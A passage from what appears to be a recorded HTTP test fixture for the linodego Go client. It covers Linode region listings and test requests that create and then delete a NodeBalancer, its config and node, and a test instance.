"placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":1136777}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 1017180, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-197.ip.linodeusercontent.com", "ipv4": "172.232.87.197", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "337" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017180/configs method: POST response: body: '{"id": 1680024, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017180, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-a114hd63hp9z","root_pass":"S\u003c[92vBehFJl8JC8#8,1x,\u0026K0wX=^xPt95XvD,a;J\u0026^cJ8hT3c2cf}6M80#^Q^b9","image":"linode/debian9","firewall_id":1136777,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66622220, "label": "go-test-ins-a114hd63hp9z", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.60.132"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c37a9389a8780ce12d745d3f703cbee667a6278e", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622220/ips method: POST response: body: '{"address": "192.168.133.181", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622220, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.133.181:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017180/configs/1680024/nodes method: POST response: body: '{"id": 2077580801, "address": "192.168.133.181:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680024, "nodebalancer_id": 1017180}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017180/configs/1680024/nodes/2077580801 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622220 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017180/configs/1680024 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017180 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 